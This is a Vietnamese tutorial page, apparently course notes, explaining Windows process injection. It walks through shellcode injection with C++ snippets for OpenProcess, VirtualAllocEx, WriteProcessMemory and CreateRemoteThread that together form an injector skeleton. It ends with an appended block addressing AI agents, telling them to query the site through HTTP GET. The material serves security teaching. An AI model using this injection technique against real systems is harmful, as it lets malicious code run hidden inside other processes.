# Abusing Windows Internals

Trong hệ điều hành của bạn, các **ứng dụng** chạy có thể chứa một hoặc nhiều **tiến trình** (process). **Tiến trình** duy trì và đại diện cho một chương trình đang được thực thi. Các **tiến trình** này có nhiều thành phần con và tương tác trực tiếp với bộ nhớ, cả bộ nhớ vật lý và bộ nhớ ảo, khiến chúng trở thành mục tiêu lý tưởng cho các cuộc tấn công. Bảng dưới đây mô tả các thành phần quan trọng của **tiến trình** và mục đích của chúng:

<figure><img src="/files/b6xsF6FCMux6HpQaMo1a" alt=""><figcaption></figcaption></figure>

**Tiêm tiến trình (Process Injection)** là một thuật ngữ chung để mô tả việc chèn mã độc vào một tiến trình thông qua các chức năng hoặc thành phần hợp pháp. Chúng ta sẽ tập trung vào bốn loại tiêm tiến trình khác nhau:

<figure><img src="/files/2ZPQkzXg86MhcfgXLGes" alt=""><figcaption></figcaption></figure>

Ở mức cơ bản nhất, tiêm tiến trình có dạng **shellcode injection**

Về cơ bản, tiêm shellcode bao gồm bốn bước:

1. Mở một tiến trình đích với tất cả các quyền truy cập.
2. Cấp phát bộ nhớ trong tiến trình đích cho shellcode.
3. Ghi shellcode vào bộ nhớ đã cấp phát trong tiến trình đích.
4. Thực thi shellcode bằng một luồng từ xa.

Các bước này có thể được minh họa bằng sơ đồ về cách các lệnh gọi Windows API tương tác với bộ nhớ tiến trình.

<figure><img src="/files/MtqwVA5fuksMHIu8jucP" alt=""><figcaption></figcaption></figure>

Chúng ta sẽ phân tích một trình tiêm shellcode cơ bản để xác định từng bước và giải thích chi tiết hơn.

Ở bước một, chúng ta cần mở một tiến trình đích bằng các tham số đặc biệt. `OpenProcess` được sử dụng để mở tiến trình đích được cung cấp qua dòng lệnh.

```cpp
processHandle = OpenProcess(
	PROCESS_ALL_ACCESS, // Xác định quyền truy cập
	FALSE, // Tay cầm đích sẽ không được kế thừa
	DWORD(atoi(argv[1])) // Tiến trình cục bộ được cung cấp bởi đối số dòng lệnh
);
```

Ở bước hai, chúng ta phải cấp phát bộ nhớ có kích thước byte bằng với shellcode. Việc cấp phát bộ nhớ được xử lý bằng `VirtualAllocEx`. Trong lệnh gọi, tham số `dwSize` được xác định bằng hàm `sizeof` để lấy số byte của shellcode cần cấp phát.

```cpp
remoteBuffer = VirtualAllocEx(
	processHandle, // Tiến trình đích đã mở
	NULL, 
	sizeof shellcode, // Kích thước vùng của việc cấp phát bộ nhớ
	(MEM_RESERVE | MEM_COMMIT), // Dự trữ và cam kết các trang
	PAGE_EXECUTE_READWRITE // Cho phép thực thi và truy cập đọc/ghi vào các trang đã cam kết
);
```

Ở bước ba, chúng ta có thể sử dụng vùng bộ nhớ đã cấp phát để ghi shellcode của mình. `WriteProcessMemory` thường được sử dụng để ghi vào các vùng bộ nhớ.

```cpp
WriteProcessMemory(
	processHandle, // Tiến trình đích đã mở
	remoteBuffer, // Vùng bộ nhớ đã cấp phát
	shellcode, // Dữ liệu cần ghi
	sizeof shellcode, // Kích thước byte của dữ liệu
	NULL
);
```

Ở bước bốn, chúng ta đã kiểm soát tiến trình và mã độc hại của chúng ta đã được ghi vào bộ nhớ. Để thực thi shellcode trong bộ nhớ, chúng ta có thể sử dụng `CreateRemoteThread`; **luồng** kiểm soát việc thực thi của **tiến trình**.

```cpp
remoteThread = CreateRemoteThread(
	processHandle, // Tiến trình đích đã mở
	NULL, 
	0, // Kích thước mặc định của stack
	(LPTHREAD_START_ROUTINE)remoteBuffer, // Con trỏ đến địa chỉ bắt đầu của luồng
	NULL, 
	0, // Chạy ngay sau khi tạo
	NULL
);
```

Chúng ta có thể biên dịch các bước này lại với nhau để tạo ra một trình tiêm tiến trình cơ bản. Hãy sử dụng trình tiêm C++ được cung cấp và thử nghiệm với việc tiêm tiến trình.

**Shellcode injection** là hình thức cơ bản nhất của tiêm tiến trình; trong nhiệm vụ tiếp theo, chúng ta sẽ xem xét cách sửa đổi và điều chỉnh các bước này để khoét rỗng tiến trình.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viettaliii.gitbook.io/home/education/reverse-engineering/abusing-windows-internals.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
